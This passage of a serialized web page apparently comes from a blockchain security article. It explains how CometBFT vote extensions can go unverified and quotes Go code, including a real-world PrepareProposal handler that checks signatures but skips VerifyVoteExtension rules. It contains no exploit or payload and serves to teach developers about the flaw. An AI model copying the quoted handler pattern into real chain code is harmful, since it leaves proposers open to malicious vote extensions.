...\n}\n",[80846],{"type":23,"tag":64,"props":80847,"children":80848},{"__ignoreMap":7},[80849,80961,80968,80975,80983,80991,81075,81082,81090,81144,81151,81172,81179,81251,81267,81274,81348,81404,81411,81473,81480,81487,81506,81513,81520,81527],{"type":23,"tag":481,"props":80850,"children":80851},{"class":483,"line":484},[80852,80856,80860,80865,80869,80874,80878,80883,80887,80892,80896,80900,80904,80909,80913,80918,80923,80927,80932,80936,80941,80945,80949,80953,80957],{"type":23,"tag":481,"props":80853,"children":80854},{"style":497},[80855],{"type":28,"value":73832},{"type":23,"tag":481,"props":80857,"children":80858},{"style":525},[80859],{"type":28,"value":578},{"type":23,"tag":481,"props":80861,"children":80862},{"style":508},[80863],{"type":28,"value":80864},"cs ",{"type":23,"tag":481,"props":80866,"children":80867},{"style":514},[80868],{"type":28,"value":2120},{"type":23,"tag":481,"props":80870,"children":80871},{"style":943},[80872],{"type":28,"value":80873},"State",{"type":23,"tag":481,"props":80875,"children":80876},{"style":525},[80877],{"type":28,"value":598},{"type":23,"tag":481,"props":80879,"children":80880},{"style":610},[80881],{"type":28,"value":80882},"addVote",{"type":23,"tag":481,"props":80884,"children":80885},{"style":525},[80886],{"type":28,"value":618},{"type":23,"tag":481,"props":80888,"children":80889},{"style":508},[80890],{"type":28,"value":80891},"vote",{"type":23,"tag":481,"props":80893,"children":80894},{"style":514},[80895],{"type":28,"value":7301},{"type":23,"tag":481,"props":80897,"children":80898},{"style":943},[80899],{"type":28,"value":3234},{"type":23,"tag":481,"props":80901,"children":80902},{"style":525},[80903],{"type":28,"value":199},{"type":23,"tag":481,"props":80905,"children":80906},{"style":943},[80907],{"type":28,"value":80908},"Vote",{"type":23,"tag":481,"props":80910,"children":80911},{"style":525},[80912],{"type":28,"value":588},{"type":23,"tag":481,"props":80914,"children":80915},{"style":508},[80916],{"type":28,"value":80917},"peerID",{"type":23,"tag":481,"props":80919,"children":80920},{"style":943},[80921],{"type":28,"value":80922}," p2p",{"type":23,"tag":481,"props":80924,"children":80925},{"style":525},[80926],{"type":28,"value":199},{"type":23,"tag":481,"props":80928,"children":80929},{"style":943},[80930],{"type":28,"value":80931},"ID",{"type":23,"tag":481,"props":80933,"children":80934},{"style":525},[80935],{"type":28,"value":73914},{"type":23,"tag":481,"props":80937,"children":80938},{"style":508},[80939],{"type":28,"value":80940},"added",{"type":23,"tag":481,"props":80942,"children":80943},{"style":943},[80944],{"type":28,"value":9537},{"type":23,"tag":481,"props":80946,"children":80947},{"style":525},[80948],{"type":28,"value":588},{"type":23,"tag":481,"props":80950,"children":80951},{"style":508},[80952],{"type":28,"value":45945},{"type":23,"tag":481,"props":80954,"children":80955},{"style":943},[80956],{"type":28,"value":12365},{"type":23,"tag":481,"props":80958,"children":80959},{"style":525},[80960],{"type":28,"value":12292},{"type":23,"tag":481,"props":80962,"children":80963},{"class":483,"line":351},[80964],{"type":23,"tag":481,"props":80965,"children":80966},{"style":514},[80967],{"type":28,"value":17837},{"type":23,"tag":481,"props":80969,"children":80970},{"class":483,"line":531},[80971],{"type":23,"tag":481,"props":80972,"children":80973},{"emptyLinePlaceholder":15},[80974],{"type":28,"value":1210},{"type":23,"tag":481,"props":80976,"children":80977},{"class":483,"line":567},[80978],{"type":23,"tag":481,"props":80979,"children":80980},{"style":488},[80981],{"type":28,"value":80982}," // A precommit for the previous height?\n",{"type":23,"tag":481,"props":80984,"children":80985},{"class":483,"line":678},[80986],{"type":23,"tag":481,"props":80987,"children":80988},{"style":488},[80989],{"type":28,"value":80990}," // These come in while we wait timeoutCommit\n",{"type":23,"tag":481,"props":80992,"children":80993},{"class":483,"line":784},[80994,80998,81003,81007,81012,81016,81020,81024,81029,81033,81037,81041,81045,81049,81054,81058,81062,81066,81071],{"type":23,"tag":481,"props":80995,"children":80996},{"style":535},[80997],{"type":28,"value":9766},{"type":23,"tag":481,"props":80999,"children":81000},{"style":508},[81001],{"type":28,"value":81002}," vote",{"type":23,"tag":481,"props":81004,"children":81005},{"style":525},[81006],{"type":28,"value":199},{"type":23,"tag":481,"props":81008,"children":81009},{"style":508},[81010],{"type":28,"value":81011},"Height",{"type":23,"tag":481,"props":81013,"children":81014},{"style":514},[81015],{"type":28,"value":1930},{"type":23,"tag":481,"props":81017,"children":81018},{"style":551},[81019],{"type":28,"value":1558},{"type":23,"tag":481,"props":81021,"children":81022},{"style":514},[81023],{"type":28,"value":800},{"type":23,"tag":481,"props":81025,"children":81026},{"style":508},[81027],{"type":28,"value":81028}," cs",{"type":23,"tag":481,"props":81030,"children":81031},{"style":525},[81032],{"type":28,"value":199},{"type":23,"tag":481,"props":81034,"children":81035},{"style":508},[81036],{"type":28,"value":81011},{"type":23,"tag":481,"props":81038,"children":81039},{"style":514},[81040],{"type":28,"value":11673},{"type":23,"tag":481,"props":81042,"children":81043},{"style":508},[81044],{"type":28,"value":81002},{"type":23,"tag":481,"props":81046,"children":81047},{"style":525},[81048],{"type":28,"value":199},{"type":23,"tag":481,"props":81050,"children":81051},{"style":508},[81052],{"type":28,"value":81053},"Type",{"type":23,"tag":481,"props":81055,"children":81056},{"style":514},[81057],{"type":28,"value":800},{"type":23,"tag":481,"props":81059,"children":81060},{"style":508},[81061],{"type":28,"value":75707},{"type":23,"tag":481,"props":81063,"children":81064},{"style":525},[81065],{"type":28,"value":199},{"type":23,"tag":481,"props":81067,"children":81068},{"style":508},[81069],{"type":28,"value":81070},"PrecommitType",{"type":23,"tag":481,"props":81072,"children":81073},{"style":525},[81074],{"type":28,"value":809},{"type":23,"tag":481,"props":81076,"children":81077},{"class":483,"line":812},[81078],{"type":23,"tag":481,"props":81079,"children":81080},{"style":514},[81081],{"type":28,"value":79374},{"type":23,"tag":481,"props":81083,"children":81084},{"class":483,"line":825},[81085],{"type":23,"tag":481,"props":81086,"children":81087},{"style":488},[81088],{"type":28,"value":81089}," // Late precommits are not checked by VerifyVoteExtension\n",{"type":23,"tag":481,"props":81091,"children":81092},{"class":483,"line":843},[81093,81098,81102,81106,81110,81114,81118,81123,81127,81132,81136,81140],{"type":23,"tag":481,"props":81094,"children":81095},{"style":508},[81096],{"type":28,"value":81097}," added",{"type":23,"tag":481,"props":81099,"children":81100},{"style":525},[81101],{"type":28,"value":588},{"type":23,"tag":481,"props":81103,"children":81104},{"style":508},[81105],{"type":28,"value":45945},{"type":23,"tag":481,"props":81107,"children":81108},{"style":514},[81109],{"type":28,"value":517},{"type":23,"tag":481,"props":81111,"children":81112},{"style":508},[81113],{"type":28,"value":81028},{"type":23,"tag":481,"props":81115,"children":81116},{"style":525},[81117],{"type":28,"value":199},{"type":23,"tag":481,"props":81119,"children":81120},{"style":508},[81121],{"type":28,"value":81122},"LastCommit",{"type":23,"tag":481,"props":81124,"children":81125},{"style":525},[81126],{"type":28,"value":199},{"type":23,"tag":481,"props":81128,"children":81129},{"style":610},[81130],{"type":28,"value":81131},"AddVote",{"type":23,"tag":481,"props":81133,"children":81134},{"style":525},[81135],{"type":28,"value":618},{"type":23,"tag":481,"props":81137,"children":81138},{"style":508},[81139],{"type":28,"value":80891},{"type":23,"tag":481,"props":81141,"children":81142},{"style":525},[81143],{"type":28,"value":675},{"type":23,"tag":481,"props":81145,"children":81146},{"class":483,"line":864},[81147],{"type":23,"tag":481,"props":81148,"children":81149},{"style":514},[81150],{"type":28,"value":79374},{"type":23,"tag":481,"props":81152,"children":81153},{"class":483,"line":873},[81154,81158,81163,81167],{"type":23,"tag":481,"props":81155,"children":81156},{"style":535},[81157],{"type":28,"value":13234},{"type":23,"tag":481,"props":81159,"children":81160},{"style":508},[81161],{"type":28,"value":81162}," added",{"type":23,"tag":481,"props":81164,"children":81165},{"style":525},[81166],{"type":28,"value":588},{"type":23,"tag":481,"props":81168,"children":81169},{"style":508},[81170],{"type":28,"value":81171},"err\n",{"type":23,"tag":481,"props":81173,"children":81174},{"class":483,"line":1125},[81175],{"type":23,"tag":481,"props":81176,"children":81177},{"style":525},[81178],{"type":28,"value":879},{"type":23,"tag":481,"props":81180,"children":81181},{"class":483,"line":1142},[81182,81187,81191,81195,81199,81204,81208,81213,81217,81222,81226,81231,81235,81239,81243,81247],{"type":23,"tag":481,"props":81183,"children":81184},{"style":508},[81185],{"type":28,"value":81186}," extEnabled",{"type":23,"tag":481,"props":81188,"children":81189},{"style":514},[81190],{"type":28,"value":73948},{"type":23,"tag":481,"props":81192,"children":81193},{"style":508},[81194],{"type":28,"value":81028},{"type":23,"tag":481,"props":81196,"children":81197},{"style":525},[81198],{"type":28,"value":199},{"type":23,"tag":481,"props":81200,"children":81201},{"style":508},[81202],{"type":28,"value":81203},"state",{"type":23,"tag":481,"props":81205,"children":81206},{"style":525},[81207],{"type":28,"value":199},{"type":23,"tag":481,"props":81209,"children":81210},{"style":508},[81211],{"type":28,"value":81212},"ConsensusParams",{"type":23,"tag":481,"props":81214,"children":81215},{"style":525},[81216],{"type":28,"value":199},{"type":23,"tag":481,"props":81218,"children":81219},{"style":508},[81220],{"type":28,"value":81221},"Feature",{"type":23,"tag":481,"props":81223,"children":81224},{"style":525},[81225],{"type":28,"value":199},{"type":23,"tag":481,"props":81227,"children":81228},{"style":610},[81229],{"type":28,"value":81230},"VoteExtensionsEnabled",{"type":23,"tag":481,"props":81232,"children":81233},{"style":525},[81234],{"type":28,"value":618},{"type":23,"tag":481,"props":81236,"children":81237},{"style":508},[81238],{"type":28,"value":80891},{"type":23,"tag":481,"props":81240,"children":81241},{"style":525},[81242],{"type":28,"value":199},{"type":23,"tag":481,"props":81244,"children":81245},{"style":508},[81246],{"type":28,"value":81011},{"type":23,"tag":481,"props":81248,"children":81249},{"style":525},[81250],{"type":28,"value":675},{"type":23,"tag":481,"props":81252,"children":81253},{"class":483,"line":1159},[81254,81258,81263],{"type":23,"tag":481,"props":81255,"children":81256},{"style":535},[81257],{"type":28,"value":9766},{"type":23,"tag":481,"props":81259,"children":81260},{"style":508},[81261],{"type":28,"value":81262}," extEnabled",{"type":23,"tag":481,"props":81264,"children":81265},{"style":525},[81266],{"type":28,"value":809},{"type":23,"tag":481,"props":81268,"children":81269},{"class":483,"line":1172},[81270],{"type":23,"tag":481,"props":81271,"children":81272},{"style":514},[81273],{"type":28,"value":79374},{"type":23,"tag":481,"props":81275,"children":81276},{"class":483,"line":1181},[81277,81281,81285,81289,81293,81297,81301,81305,81309,81313,81317,81321,81325,81330,81334,81339,81343],{"type":23,"tag":481,"props":81278,"children":81279},{"style":535},[81280],{"type":28,"value":790},{"type":23,"tag":481,"props":81282,"children":81283},{"style":508},[81284],{"type":28,"value":81002},{"type":23,"tag":481,"props":81286,"children":81287},{"style":525},[81288],{"type":28,"value":199},{"type":23,"tag":481,"props":81290,"children":81291},{"style":508},[81292],{"type":28,"value":81053},{"type":23,"tag":481,"props":81294,"children":81295},{"style":514},[81296],{"type":28,"value":800},{"type":23,"tag":481,"props":81298,"children":81299},{"style":508},[81300],{"type":28,"value":75707},{"type":23,"tag":481,"props":81302,"children":81303},{"style":525},[81304],{"type":28,"value":199},{"type":23,"tag":481,"props":81306,"children":81307},{"style":508},[81308],{"type":28,"value":81070},{"type":23,"tag":481,"props":81310,"children":81311},{"style":514},[81312],{"type":28,"value":11673},{"type":23,"tag":481,"props":81314,"children":81315},{"style":514},[81316],{"type":28,"value":10351},{"type":23,"tag":481,"props":81318,"children":81319},{"style":508},[81320],{"type":28,"value":80891},{"type":23,"tag":481,"props":81322,"children":81323},{"style":525},[81324],{"type":28,"value":199},{"type":23,"tag":481,"props":81326,"children":81327},{"style":508},[81328],{"type":28,"value":81329},"BlockID",{"type":23,"tag":481,"props":81331,"children":81332},{"style":525},[81333],{"type":28,"value":199},{"type":23,"tag":481,"props":81335,"children":81336},{"style":610},[81337],{"type":28,"value":81338},"IsNil",{"type":23,"tag":481,"props":81340,"children":81341},{"style":525},[81342],{"type":28,"value":11531},{"type":23,"tag":481,"props":81344,"children":81345},{"style":514},[81346],{"type":28,"value":81347},"&&\n",{"type":23,"tag":481,"props":81349,"children":81350},{"class":483,"line":1204},[81351,81356,81361,81365,81369,81373,81377,81381,81386,81390,81395,81399],{"type":23,"tag":481,"props":81352,"children":81353},{"style":514},[81354],{"type":28,"value":81355}," !",{"type":23,"tag":481,"props":81357,"children":81358},{"style":508},[81359],{"type":28,"value":81360},"bytes",{"type":23,"tag":481,"props":81362,"children":81363},{"style":525},[81364],{"type":28,"value":199},{"type":23,"tag":481,"props":81366,"children":81367},{"style":610},[81368],{"type":28,"value":79830},{"type":23,"tag":481,"props":81370,"children":81371},{"style":525},[81372],{"type":28,"value":618},{"type":23,"tag":481,"props":81374,"children":81375},{"style":508},[81376],{"type":28,"value":80891},{"type":23,"tag":481,"props":81378,"children":81379},{"style":525},[81380],{"type":28,"value":199},{"type":23,"tag":481,"props":81382,"children":81383},{"style":508},[81384],{"type":28,"value":81385},"ValidatorAddress",{"type":23,"tag":481,"props":81387,"children":81388},{"style":525},[81389],{"type":28,"value":588},{"type":23,"tag":481,"props":81391,"children":81392},{"style":508},[81393],{"type":28,"value":81394},"myAddr",{"type":23,"tag":481,"props":81396,"children":81397},{"style":525},[81398],{"type":28,"value":21499},{"type":23,"tag":481,"props":81400,"children":81401},{"style":488},[81402],{"type":28,"value":81403},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":23,"tag":481,"props":81405,"children":81406},{"class":483,"line":1213},[81407],{"type":23,"tag":481,"props":81408,"children":81409},{"style":514},[81410],{"type":28,"value":80050},{"type":23,"tag":481,"props":81412,"children":81413},{"class":483,"line":1222},[81414,81418,81422,81426,81430,81435,81439,81443,81447,81452,81456,81461,81465,81469],{"type":23,"tag":481,"props":81415,"children":81416},{"style":508},[81417],{"type":28,"value":79868},{"type":23,"tag":481,"props":81419,"children":81420},{"style":514},[81421],{"type":28,"value":73948},{"type":23,"tag":481,"props":81423,"children":81424},{"style":508},[81425],{"type":28,"value":81028},{"type":23,"tag":481,"props":81427,"children":81428},{"style":525},[81429],{"type":28,"value":199},{"type":23,"tag":481,"props":81431,"children":81432},{"style":508},[81433],{"type":28,"value":81434},"blockExec",{"type":23,"tag":481,"props":81436,"children":81437},{"style":525},[81438],{"type":28,"value":199},{"type":23,"tag":481,"props":81440,"children":81441},{"style":610},[81442],{"type":28,"value":80696},{"type":23,"tag":481,"props":81444,"children":81445},{"style":525},[81446],{"type":28,"value":618},{"type":23,"tag":481,"props":81448,"children":81449},{"style":508},[81450],{"type":28,"value":81451},"context",{"type":23,"tag":481,"props":81453,"children":81454},{"style":525},[81455],{"type":28,"value":199},{"type":23,"tag":481,"props":81457,"children":81458},{"style":610},[81459],{"type":28,"value":81460},"TODO",{"type":23,"tag":481,"props":81462,"children":81463},{"style":525},[81464],{"type":28,"value":15869},{"type":23,"tag":481,"props":81466,"children":81467},{"style":508},[81468],{"type":28,"value":80891},{"type":23,"tag":481,"props":81470,"children":81471},{"style":525},[81472],{"type":28,"value":675},{"type":23,"tag":481,"props":81474,"children":81475},{"class":483,"line":1291},[81476],{"type":23,"tag":481,"props":81477,"children":81478},{"style":514},[81479],{"type":28,"value":80050},{"type":23,"tag":481,"props":81481,"children":81482},{"class":483,"line":1299},[81483],{"type":23,"tag":481,"props":81484,"children":81485},{"style":525},[81486],{"type":28,"value":870},{"type":23,"tag":481,"props":81488,"children":81489},{"class":483,"line":1329},[81490,81494,81498,81502],{"type":23,"tag":481,"props":81491,"children":81492},{"style":525},[81493],{"type":28,"value":13269},{"type":23,"tag":481,"props":81495,"children":81496},{"style":535},[81497],{"type":28,"value":836},{"type":23,"tag":481,"props":81499,"children":81500},{"style":535},[81501],{"type":28,"value":13278},{"type":23,"tag":481,"props":81503,"children":81504},{"style":525},[81505],{"type":28,"value":809},{"type":23,"tag":481,"props":81507,"children":81508},{"class":483,"line":1337},[81509],{"type":23,"tag":481,"props":81510,"children":81511},{"style":514},[81512],{"type":28,"value":79374},{"type":23,"tag":481,"props":81514,"children":81515},{"class":483,"line":1369},[81516],{"type":23,"tag":481,"props":81517,"children":81518},{"style":525},[81519],{"type":28,"value":879},{"type":23,"tag":481,"props":81521,"children":81522},{"class":483,"line":1377},[81523],{"type":23,"tag":481,"props":81524,"children":81525},{"style":514},[81526],{"type":28,"value":17837},{"type":23,"tag":481,"props":81528,"children":81529},{"class":483,"line":1437},[81530],{"type":23,"tag":481,"props":81531,"children":81532},{"style":525},[81533],{"type":28,"value":1443},{"type":23,"tag":24,"props":81535,"children":81536},{},[81537],{"type":28,"value":81538},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":23,"tag":7092,"props":81540,"children":81542},{"id":81541},"real-world-examples-4",[81543],{"type":28,"value":74221},{"type":23,"tag":24,"props":81545,"children":81546},{},[81547,81549,81554,81556,81562,81564,81570],{"type":28,"value":81548},"An example of the bug we just described is shown here. ",{"type":23,"tag":64,"props":81550,"children":81552},{"className":81551},[],[81553],{"type":28,"value":80675},{"type":28,"value":81555}," only checks that each vote is properly signed by a validator in ",{"type":23,"tag":64,"props":81557,"children":81559},{"className":81558},[],[81560],{"type":28,"value":81561},"ValidateVoteExtension",{"type":28,"value":81563}," but does not verify it against the rules in ",{"type":23,"tag":64,"props":81565,"children":81567},{"className":81566},[],[81568],{"type":28,"value":81569},"VerifyVoteExtention.",{"type":28,"value":81571}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":23,"tag":24,"props":81573,"children":81574},{},[81575],{"type":23,"tag":190,"props":81576,"children":81579},{"href":81577,"rel":81578},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[194],[81580],{"type":28,"value":74271},{"type":23,"tag":435,"props":81582,"children":81584},{"code":81583,"language":73696,"meta":7,"className":73697,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n ...\n var injection []byte\n if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n //Fails to verify vote extensions with VerifyVoteExtension rules\n err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n if err != nil {\n return nil, err\n }\n injection, err = json.Marshal(req.LocalLastCommit)\n if err != nil {\n h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n return nil, err\n }\n ...\n }\n defaultRes, err := h.defaultPrepareProposal(ctx, req)\n ...\n proposalTxs := defaultRes.Txs\n if injection != nil {\n proposalTxs = append([][]byte{injection}, proposalTxs...)\n h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n }\n return &abcitypes.ResponsePrepareProposal{\n Txs: proposalTxs,\n }, nil\n }\n}\n",[81585],{"type":23,"tag":64,"props":81586,"children":81587},{"__ignoreMap":7},[81588,81642,81733,81740,81761,81828,81836,81941,81964,81983,81990,82044,82067,82122,82141,82148,82155,82162,82216,82223,82249,82272,82324,82386,82393,82420,82440,82452,82459],{"type":23,"tag":481,"props":81589,"children":81590},{"class":483,"line":484},[81591,81595,81599,81604,81608,81613,81617,81622,81626,81630,81634,81638],{"type":23,"tag":481,"props":81592,"children":81593},{"style":497},[81594],{"type":28,"value":73832},{"type":23,"tag":481,"props":81596,"children":81597},{"style":525},[81598],{"type":28,"value":578},{"type":23,"tag":481,"props":81600,"children":81601},{"style":508},[81602],{"type":28,"value":81603},"h ",{"type":23,"tag":481,"props":81605,"children":81606},{"style":514},[81607],{"type":28,"value":2120},{"type":23,"tag":481,"props":81609,"children":81610},{"style":943},[81611],{"type":28,"value":81612},"Handlers",{"type":23,"tag":481,"props":81614,"children":81615},{"style":525},[81616],{"type":28,"value":598},{"type":23,"tag":481,"props":81618,"children":81619},{"style":610},[81620],{"type":28,"value":81621},"PrepareProposalHandler",{"type":23,"tag":481,"props":81623,"children":81624},{"style":525},[81625],{"type":28,"value":11531},{"type":23,"tag":481,"props":81627,"children":81628},{"style":943},[81629],{"type":28,"value":76262},{"type":23,"tag":481,"props":81631,"children":81632},{"style":525},[81633],{"type":28,"value":199},{"type":23,"tag":481,"props":81635,"children":81636},{"style":943},[81637],{"type":28,"value":81621},{"type":23,"tag":481,"props":81639,"children":81640},{"style":525},[81641],{"type":28,"value":809},{"type":23,"tag":481,"props":81643,"children":81644},{"class":483,"line":351},[81645,81649,81653,81657,81661,81665,81669,81673,81677,81682,81686,81691,81695,81700,81704,81708,81712,81716,81721,81725,81729],{"type":23,"tag":481,"props":81646,"children":81647},{"style":535},[81648],{"type":28,"value":14481},{"type":23,"tag":481,"props":81650,"children":81651},{"style":497},[81652],{"type":28,"value":77541},{"type":23,"tag":481,"props":81654,"children":81655},{"style":525},[81656],{"type":28,"value":618},{"type":23,"tag":481,"props":81658,"children":81659},{"style":508},[81660],{"type":28,"value":17778},{"type":23,"tag":481,"props":81662,"children":81663},{"style":943},[81664],{"type":28,"value":76173},{"type":23,"tag":481,"props":81666,"children":81667},{"style":525},[81668],{"type":28,"value":199},{"type":23,"tag":481,"props":81670,"children":81671},{"style":943},[81672],{"type":28,"value":73881},{"type":23,"tag":481,"props":81674,"children":81675},{"style":525},[81676],{"type":28,"value":588},{"type":23,"tag":481,"props":81678,"children":81679},{"style":508},[81680],{"type":28,"value":81681},"req",{"type":23,"tag":481,"props":81683,"children":81684},{"style":514},[81685],{"type":28,"value":7301},{"type":23,"tag":481,"props":81687,"children":81688},{"style":943},[81689],{"type":28,"value":81690},"abcitypes",{"type":23,"tag":481,"props":81692,"children":81693},{"style":525},[81694],{"type":28,"value":199},{"type":23,"tag":481,"props":81696,"children":81697},{"style":943},[81698],{"type":28,"value":81699},"RequestPrepareProposal",{"type":23,"tag":481,"props":81701,"children":81702},{"style":525},[81703],{"type":28,"value":73914},{"type":23,"tag":481,"props":81705,"children":81706},{"style":514},[81707],{"type":28,"value":2120},{"type":23,"tag":481,"props":81709,"children":81710},{"style":943},[81711],{"type":28,"value":81690},{"type":23,"tag":481,"props":81713,"children":81714},{"style":525},[81715],{"type":28,"value":199},{"type":23,"tag":481,"props":81717,"children":81718},{"style":943},[81719],{"type":28,"value":81720},"ResponsePrepareProposal",{"type":23,"tag":481,"props":81722,"children":81723},{"style":525},[81724],{"type":28,"value":588},{"type":23,"tag":481,"props":81726,"children":81727},{"style":943},[81728],{"type":28,"value":12352},{"type":23,"tag":481,"props":81730,"children":81731},{"style":525},[81732],{"type":28,"value":12292},{"type":23,"tag":481,"props":81734,"children":81735},{"class":483,"line":531},[81736],{"type":23,"tag":481,"props":81737,"children":81738},{"style":514},[81739],{"type":28,"value":79374},{"type":23,"tag":481,"props":81741,"children":81742},{"class":483,"line":567},[81743,81747,81752,81756],{"type":23,"tag":481,"props":81744,"children":81745},{"style":497},[81746],{"type":28,"value":77650},{"type":23,"tag":481,"props":81748,"children":81749},{"style":508},[81750],{"type":28,"value":81751}," injection",{"type":23,"tag":481,"props":81753,"children":81754},{"style":525},[81755],{"type":28,"value":73759},{"type":23,"tag":481,"props":81757,"children":81758},{"style":943},[81759],{"type":28,"value":81760},"byte\n",{"type":23,"tag":481,"props":81762,"children":81763},{"class":483,"line":678},[81764,81768,81773,81777,81781,81785,81789,81793,81797,81801,81806,81810,81815,81819,81824],{"type":23,"tag":481,"props":81765,"children":81766},{"style":535},[81767],{"type":28,"value":790},{"type":23,"tag":481,"props":81769,"children":81770},{"style":508},[81771],{"type":28,"value":81772}," req",{"type":23,"tag":481,"props":81774,"children":81775},{"style":525},[81776],{"type":28,"value":199},{"type":23,"tag":481,"props":81778,"children":81779},{"style":508},[81780],{"type":28,"value":81011},{"type":23,"tag":481,"props":81782,"children":81783},{"style":514},[81784],{"type":28,"value":11682},{"type":23,"tag":481,"props":81786,"children":81787},{"style":508},[81788],{"type":28,"value":23354},{"type":23,"tag":481,"props":81790,"children":81791},{"style":525},[81792],{"type":28,"value":199},{"type":23,"tag":481,"props":81794,"children":81795},{"style":610},[81796],{"type":28,"value":81212},{"type":23,"tag":481,"props":81798,"children":81799},{"style":525},[81800],{"type":28,"value":27682},{"type":23,"tag":481,"props":81802,"children":81803},{"style":508},[81804],{"type":28,"value":81805},"Abci",{"type":23,"tag":481,"props":81807,"children":81808},{"style":525},[81809],{"type":28,"value":199},{"type":23,"tag":481,"props":81811,"children":81812},{"style":508},[81813],{"type":28,"value":81814},"VoteExtensionsEnableHeight",{"type":23,"tag":481,"props":81816,"children":81817},{"style":514},[81818],{"type":28,"value":11673},{"type":23,"tag":481,"props":81820,"children":81821},{"style":508},[81822],{"type":28,"value":81823}," collectSigs",{"type":23,"tag":481,"props":81825,"children":81826},{"style":525},[81827],{"type":28,"value":809},{"type":23,"tag":481,"props":81829,"children":81830},{"class":483,"line":784},[81831],{"type":23,"tag":481,"props":81832,"children":81833},{"style":488},[81834],{"type":28,"value":81835}," //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":23,"tag":481,"props":81837,"children":81838},{"class":483,"line":812},[81839,81843,81847,81852,81856,81861,81865,81869,81873,81878,81882,81887,81891,81895,81899,81903,81907,81911,81915,81920,81924,81928,81932,81937],{"type":23,"tag":481,"props":81840,"children":81841},{"style":508},[81842],{"type":28,"value":79868},{"type":23,"tag":481,"props":81844,"children":81845},{"style":514},[81846],{"type":28,"value":73948},{"type":23,"tag":481,"props":81848,"children":81849},{"style":508},[81850],{"type":28,"value":81851}," baseapp",{"type":23,"tag":481,"props":81853,"children":81854},{"style":525},[81855],{"type":28,"value":199},{"type":23,"tag":481,"props":81857,"children":81858},{"style":610},[81859],{"type":28,"value":81860},"ValidateVoteExtensions",{"type":23,"tag":481,"props":81862,"children":81863},{"style":525},[81864],{"type":28,"value":618},{"type":23,"tag":481,"props":81866,"children":81867},{"style":508},[81868],{"type":28,"value":17778},{"type":23,"tag":481,"props":81870,"children":81871},{"style":525},[81872],{"type":28,"value":588},{"type":23,"tag":481,"props":81874,"children":81875},{"style":508},[81876],{"type":28,"value":81877},"h",{"type":23,"tag":481,"props":81879,"children":81880},{"style":525},[81881],{"type":28,"value":199},{"type":23,"tag":481,"props":81883,"children":81884},{"style":508},[81885],{"type":28,"value":81886},"stakingKeeper",{"type":23,"tag":481,"props":81888,"children":81889},{"style":525},[81890],{"type":28,"value":588},{"type":23,"tag":481,"props":81892,"children":81893},{"style":508},[81894],{"type":28,"value":81681},{"type":23,"tag":481,"props":81896,"children":81897},{"style":525},[81898],{"type":28,"value":199},{"type":23,"tag":481,"props":81900,"children":81901},{"style":508},[81902],{"type":28,"value":81011},{"type":23,"tag":481,"props":81904,"children":81905},{"style":525},[81906],{"type":28,"value":588},{"type":23,"tag":481,"props":81908,"children":81909},{"style":508},[81910],{"type":28,"value":17778},{"type":23,"tag":481,"props":81912,"children":81913},{"style":525},[81914],{"type":28,"value":199},{"type":23,"tag":481,"props":81916,"children":81917},{"style":610},[81918],{"type":28,"value":81919},"ChainID",{"type":23,"tag":481,"props":81921,"children":81922},{"style":525},[81923],{"type":28,"value":15869},{"type":23,"tag":481,"props":81925,"children":81926},{"style":508},[81927],{"type":28,"value":81681},{"type":23,"tag":481,"props":81929,"children":81930},{"style":525},[81931],{"type":28,"value":199},{"type":23,"tag":481,"props":81933,"children":81934},{"style":508},[81935],{"type":28,"value":81936},"LocalLastCommit",{"type":23,"tag":481,"props":81938,"children":81939},{"style":525},[81940],{"type":28,"value":675},{"type":23,"tag":481,"props":81942,"children":81943},{"class":483,"line":825},[81944,81948,81952,81956,81960],{"type":23,"tag":481,"props":81945,"children":81946},{"style":535},[81947],{"type":28,"value":56328},{"type":23,"tag":481,"props":81949,"children":81950},{"style":508},[81951],{"type":28,"value":46046},{"type":23,"tag":481,"props":81953,"children":81954},{"style":514},[81955],{"type":28,"value":61915},{"type":23,"tag":481,"props":81957,"children":81958},{"style":497},[81959],{"type":28,"value":79450},{"type":23,"tag":481,"props":81961,"children":81962},{"style":525},[81963],{"type":28,"value":809},{"type":23,"tag":481,"props":81965,"children":81966},{"class":483,"line":843},[81967,81971,81975,81979],{"type":23,"tag":481,"props":81968,"children":81969},{"style":535},[81970],{"type":28,"value":58256},{"type":23,"tag":481,"props":81972,"children":81973},{"style":497},[81974],{"type":28,"value":79450},{"type":23,"tag":481,"props":81976,"children":81977},{"style":525},[81978],{"type":28,"value":588},{"type":23,"tag":481,"props":81980,"children":81981},{"style":508},[81982],{"type":28,"value":81171},{"type":23,"tag":481,"props":81984,"children":81985},{"class":483,"line":864},[81986],{"type":23,"tag":481,"props":81987,"children":81988},{"style":525},[81989],{"type":28,"value":56412},{"type":23,"tag":481,"props":81991,"children":81992},{"class":483,"line":873},[81993,81998,82002,82006,82010,82015,82019,82024,82028,82032,82036,82040],{"type":23,"tag":481,"props":81994,"children":81995},{"style":508},[81996],{"type":28,"value":81997}," injection",{"type":23,"tag":481,"props":81999,"children":82000},{"style":525},[82001],{"type":28,"value":588},{"type":23,"tag":481,"props":82003,"children":82004},{"style":508},[82005],{"type":28,"value":45945},{"type":23,"tag":481,"props":82007,"children":82008},{"style":514},[82009],{"type":28,"value":517},{"type":23,"tag":481,"props":82011,"children":82012},{"style":508},[82013],{"type":28,"value":82014}," 